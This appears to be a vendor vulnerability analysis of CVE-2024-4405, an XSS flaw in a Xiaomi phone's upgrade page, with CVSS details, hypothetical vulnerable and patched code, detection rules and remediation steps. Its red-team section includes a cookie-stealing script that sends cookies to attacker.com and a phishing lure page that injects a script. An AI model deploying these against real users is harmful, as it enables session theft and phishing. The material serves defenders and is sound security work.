CVE-2024-4405
Executive Summary
CVE-2024-4405 is a critical Cross-Site Scripting (XSS) vulnerability in the Xiaomi Pro 13 smartphone's manual-upgrade.html file, specifically within the manualUpgradeInfo parameter. The vulnerability allows a remote attacker to inject arbitrary scripts, which can lead to Remote Code Execution (RCE) in the context of the current user. The attack requires user interaction (visiting a malicious page or opening a malicious file). With a CVSS score of 8.8, this vulnerability poses a significant risk to affected devices. No official patch or exploit code has been released at the time of this analysis.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to any open-source package manager (NPM, PyPI, Go, Ruby). It is a firmware-level issue in Xiaomi's proprietary software. The supply chain risk is limited to the device's firmware update mechanism.
CVSS Breakdown & Threat Level
- CVSS Score: 8.8 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
- Attack Vector (AV): Network (N) – The attacker can exploit the vulnerability remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): None (N) – The attacker does not need prior access.
- User Interaction (UI): Required (R) – The victim must visit a malicious page or open a malicious file.
- Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
- Confidentiality (C): High (H) – Full data access possible.
- Integrity (I): High (H) – Full data modification possible.
- Availability (A): High (H) – Full system compromise possible.
Threat Level: Critical. The combination of network attack vector, low complexity, and high impact makes this a high-priority vulnerability for Xiaomi Pro 13 users.
Deep Dive & Mechanics
The vulnerability resides in the manual-upgrade.html file, which is part of the Xiaomi Pro 13's system update mechanism. The manualUpgradeInfo parameter is used to pass information about the upgrade process. The flaw is that user-supplied data is not properly sanitized before being rendered in the HTML page. This allows an attacker to inject arbitrary JavaScript code.
Attack Flow:
- The attacker crafts a malicious URL or file containing a payload in the
manualUpgradeInfoparameter. - The victim (Xiaomi Pro 13 user) is tricked into visiting the malicious URL or opening the malicious file (e.g., via phishing).
- The victim's browser executes the injected script in the context of the
manual-upgrade.htmlpage. - The script can then perform actions such as stealing credentials, modifying system settings, or executing arbitrary commands on the device.
Root Cause: Lack of input validation and output encoding for the manualUpgradeInfo parameter.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code is assumed to be present in all current firmware versions. The following is a hypothetical example of the vulnerable code and a patched version.
Vulnerable Code (JavaScript/HTML):
<script>
var upgradeInfo = getParameterByName('manualUpgradeInfo');
document.getElementById('info').innerHTML = upgradeInfo;
</script>
Patched Code (JavaScript/HTML):
<script>
var upgradeInfo = getParameterByName('manualUpgradeInfo');
// Sanitize the input using DOMPurify or similar library
var sanitizedInfo = DOMPurify.sanitize(upgradeInfo);
document.getElementById('info').innerHTML = sanitizedInfo;
</script>
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A Xiaomi Pro 13 device with the vulnerable firmware.
- A web server to host the malicious page.
- A victim who will visit the malicious page.
Exploit Payload Example:
<script>
// Example payload to steal cookies
var img = new Image();
img.src = 'http://attacker.com/steal?cookie=' + document.cookie;
</script>
Steps:
- Host the following HTML page on your attacker server:
<!DOCTYPE html>
<html>
<head>
<title>Xiaomi Upgrade</title>
</head>
<body>
<h1>System Upgrade Required</h1>
<p>Please click the link below to upgrade your device.</p>
<a href="file:///storage/emulated/0/Download/manual-upgrade.html?manualUpgradeInfo=<script>alert('XSS')</script>">Upgrade Now</a>
</body>
</html>
- Send the link to the victim via phishing email or social engineering.
- When the victim clicks the link, the XSS payload executes.
Blue Team (Detection & Defense)
Detection:
- Monitor network traffic for requests containing
manualUpgradeInfowith suspicious characters (e.g.,<script>,onerror=, etc.). - Use endpoint detection and response (EDR) to monitor for unusual JavaScript execution in the context of
manual-upgrade.html.
Defense:
- Implement strict Content Security Policy (CSP) headers to block inline scripts.
- Use web application firewalls (WAF) to filter malicious input.
- Educate users about phishing attacks and the risks of clicking unknown links.
Indicators of Compromise (IOCs)
- Network IOCs:
- URLs containing
manualUpgradeInfowith encoded or raw JavaScript payloads. - Outbound connections to attacker-controlled domains from the Xiaomi device.
- URLs containing
- File IOCs:
- Malicious HTML files with embedded JavaScript payloads targeting
manual-upgrade.html.
- Malicious HTML files with embedded JavaScript payloads targeting
- Behavioral IOCs:
- Unexpected system behavior after visiting a suspicious link.
- Unauthorized data exfiltration attempts.
Detection Engineering
YARA Rule
rule CVE_2024_4405_Xiaomi_XSS {
meta:
description = "Detects malicious HTML files targeting CVE-2024-4405"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-4405"
strings:
$xss_payload = /manualUpgradeInfo=.*<script/i
$html_tag = "manual-upgrade.html"
condition:
$html_tag and $xss_payload
}
Sigma Rule
title: Detection of CVE-2024-4405 Exploitation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects network requests containing the manualUpgradeInfo parameter with potential XSS payloads.
author: Valters IT
date: 2025-04-10
logsource:
category: proxy
product: generic
detection:
selection:
url|contains: "manualUpgradeInfo"
url|re: ".*<script.*|.*onerror.*|.*alert.*"
condition: selection
falsepositives:
- Legitimate upgrade requests with non-malicious parameters.
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-4405 Xiaomi XSS Attempt"; flow:to_server; content:"manualUpgradeInfo"; nocase; pcre:"/manualUpgradeInfo=.*<script/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable Manual Upgrade: If possible, disable the manual upgrade feature on Xiaomi Pro 13 devices until a patch is released.
- User Education: Inform users about the risk of clicking unknown links or opening suspicious files.
- Network Filtering: Block URLs containing
manualUpgradeInfowith suspicious patterns at the network perimeter.
Long-Term Fix:
- Xiaomi must release a firmware update that properly sanitizes the
manualUpgradeInfoparameter. - Implement input validation and output encoding for all user-supplied data in the upgrade interface.
- Add Content Security Policy (CSP) headers to prevent inline script execution.
Workarounds:
- Use a third-party security solution that can detect and block XSS attacks on the device.
- Monitor for unusual activity and apply strict access controls.
Valters IT
Securing Digital Frontiers